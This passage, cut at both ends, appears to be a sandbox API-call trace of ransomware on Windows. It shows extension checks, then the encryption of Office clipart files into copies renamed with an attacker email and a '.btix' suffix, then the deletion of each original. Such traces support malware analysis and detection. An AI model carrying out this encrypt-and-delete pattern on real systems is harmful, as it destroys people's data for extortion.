(lpString=".xlsx") returned 5 [0147.166] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0147.166] lstrlenW (lpString=".ppt") returned 4 [0147.166] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.166] lstrlenW (lpString=".zip") returned 4 [0147.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.166] lstrlenW (lpString=".rar") returned 4 [0147.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.166] lstrlenW (lpString=".bz2") returned 4 [0147.167] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString=".7z") returned 3 [0147.167] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.167] lstrlenW (lpString=".dbf") returned 4 [0147.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.167] lstrlenW (lpString=".1cd") returned 4 [0147.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.167] lstrlenW (lpString=".jpg") returned 4 [0147.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.167] lstrlenW (lpString=".doc") returned 4 [0147.167] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString=".docx") returned 5 [0147.167] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0147.167] lstrlenW (lpString=".pdf") returned 4 [0147.167] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString=".xls") returned 4 [0147.167] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString=".xlsx") returned 5 [0147.167] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0147.167] lstrlenW (lpString=".ppt") returned 4 [0147.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.167] lstrlenW (lpString=".zip") returned 4 [0147.167] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.167] lstrlenW (lpString=".rar") returned 4 [0147.167] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString=".bz2") returned 4 [0147.167] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.167] lstrlenW (lpString=".7z") returned 3 [0147.168] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.168] lstrlenW (lpString=".dbf") returned 4 [0147.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.168] lstrlenW (lpString=".1cd") returned 4 [0147.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0147.168] lstrlenW (lpString=".jpg") returned 4 [0147.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.168] Sleep (dwMilliseconds=0x64) [0147.571] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.571] lstrlenW (lpString="FD02161_.WMF") returned 12 [0147.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.571] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=3128) returned 1 [0147.572] CloseHandle (hObject=0x37c) returned 1 [0147.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0147.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.572] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.572] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.573] GetLastError () returned 0x0 [0147.573] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xc38, lpOverlapped=0x0) returned 1 [0147.578] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xc40, lpOverlapped=0x0) returned 1 [0147.579] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.579] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.579] SetEndOfFile (hFile=0x380) returned 1 [0147.579] CloseHandle (hObject=0x380) returned 1 [0147.579] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.579] SetEndOfFile (hFile=0x37c) returned 1 [0147.580] CloseHandle (hObject=0x37c) returned 1 [0147.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0147.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.580] lstrlenW (lpString=".doc") returned 4 [0147.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.580] lstrlenW (lpString=".docx") returned 5 [0147.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.580] lstrlenW (lpString=".pdf") returned 4 [0147.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".xls") returned 4 [0147.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.581] lstrlenW (lpString=".xlsx") returned 5 [0147.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.581] lstrlenW (lpString=".ppt") returned 4 [0147.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.581] lstrlenW (lpString=".zip") returned 4 [0147.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.581] lstrlenW (lpString=".rar") returned 4 [0147.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".bz2") returned 4 [0147.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".7z") returned 3 [0147.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.581] lstrlenW (lpString=".dbf") returned 4 [0147.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.581] lstrlenW (lpString=".1cd") returned 4 [0147.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.581] lstrlenW (lpString=".jpg") returned 4 [0147.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.581] lstrlenW (lpString=".doc") returned 4 [0147.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".docx") returned 5 [0147.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.581] lstrlenW (lpString=".pdf") returned 4 [0147.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.581] lstrlenW (lpString=".xls") returned 4 [0147.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.582] lstrlenW (lpString=".xlsx") returned 5 [0147.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.582] lstrlenW (lpString=".ppt") returned 4 [0147.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.582] lstrlenW (lpString=".zip") returned 4 [0147.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.582] lstrlenW (lpString=".rar") returned 4 [0147.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.582] lstrlenW (lpString=".bz2") returned 4 [0147.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.582] lstrlenW (lpString=".7z") returned 3 [0147.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.582] lstrlenW (lpString=".dbf") returned 4 [0147.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.582] lstrlenW (lpString=".1cd") returned 4 [0147.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0147.582] lstrlenW (lpString=".jpg") returned 4 [0147.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.582] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.582] lstrlenW (lpString="FLAP.WMF") returned 8 [0147.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.582] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2070) returned 1 [0147.582] CloseHandle (hObject=0x37c) returned 1 [0147.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0147.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.583] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.583] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.583] GetLastError () returned 0x0 [0147.583] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x816, lpOverlapped=0x0) returned 1 [0147.584] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x820, lpOverlapped=0x0) returned 1 [0147.585] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.585] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xe4, lpOverlapped=0x0) returned 1 [0147.585] SetEndOfFile (hFile=0x380) returned 1 [0147.586] CloseHandle (hObject=0x380) returned 1 [0147.586] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.586] SetEndOfFile (hFile=0x37c) returned 1 [0147.586] CloseHandle (hObject=0x37c) returned 1 [0147.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0147.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.587] lstrlenW (lpString=".doc") returned 4 [0147.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.587] lstrlenW (lpString=".docx") returned 5 [0147.587] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0147.587] lstrlenW (lpString=".pdf") returned 4 [0147.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.587] lstrlenW (lpString=".xls") returned 4 [0147.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.587] lstrlenW (lpString=".xlsx") returned 5 [0147.587] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0147.587] lstrlenW (lpString=".ppt") returned 4 [0147.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.587] lstrlenW (lpString=".zip") returned 4 [0147.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.587] lstrlenW (lpString=".rar") returned 4 [0147.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.587] lstrlenW (lpString=".bz2") returned 4 [0147.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.587] lstrlenW (lpString=".7z") returned 3 [0147.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.587] lstrlenW (lpString=".dbf") returned 4 [0147.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.587] lstrlenW (lpString=".1cd") returned 4 [0147.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.588] lstrlenW (lpString=".jpg") returned 4 [0147.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.588] lstrlenW (lpString=".doc") returned 4 [0147.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.588] lstrlenW (lpString=".docx") returned 5 [0147.588] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0147.588] lstrlenW (lpString=".pdf") returned 4 [0147.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.588] lstrlenW (lpString=".xls") returned 4 [0147.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.588] lstrlenW (lpString=".xlsx") returned 5 [0147.588] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0147.588] lstrlenW (lpString=".ppt") returned 4 [0147.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.588] lstrlenW (lpString=".zip") returned 4 [0147.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.588] lstrlenW (lpString=".rar") returned 4 [0147.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.588] lstrlenW (lpString=".bz2") returned 4 [0147.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.588] lstrlenW (lpString=".7z") returned 3 [0147.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.588] lstrlenW (lpString=".dbf") returned 4 [0147.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.588] lstrlenW (lpString=".1cd") returned 4 [0147.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0147.589] lstrlenW (lpString=".jpg") returned 4 [0147.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.589] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.589] lstrlenW (lpString="HH00057_.WMF") returned 12 [0147.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.589] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=3764) returned 1 [0147.589] CloseHandle (hObject=0x37c) returned 1 [0147.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0147.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.589] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.589] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.590] GetLastError () returned 0x0 [0147.590] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xeb4, lpOverlapped=0x0) returned 1 [0147.591] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec0, lpOverlapped=0x0) returned 1 [0147.591] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.591] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.592] SetEndOfFile (hFile=0x380) returned 1 [0147.592] CloseHandle (hObject=0x380) returned 1 [0147.592] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.592] SetEndOfFile (hFile=0x37c) returned 1 [0147.592] CloseHandle (hObject=0x37c) returned 1 [0147.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0147.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.593] lstrlenW (lpString=".doc") returned 4 [0147.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.593] lstrlenW (lpString=".docx") returned 5 [0147.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.593] lstrlenW (lpString=".pdf") returned 4 [0147.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.593] lstrlenW (lpString=".xls") returned 4 [0147.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.593] lstrlenW (lpString=".xlsx") returned 5 [0147.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.593] lstrlenW (lpString=".ppt") returned 4 [0147.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0147.593] lstrlenW (lpString=".zip") returned 4 [0147.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.593] lstrlenW (lpString=".rar") returned 4 [0147.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString=".bz2") returned 4 [0147.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.594] lstrlenW (lpString=".7z") returned 3 [0147.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.594] lstrlenW 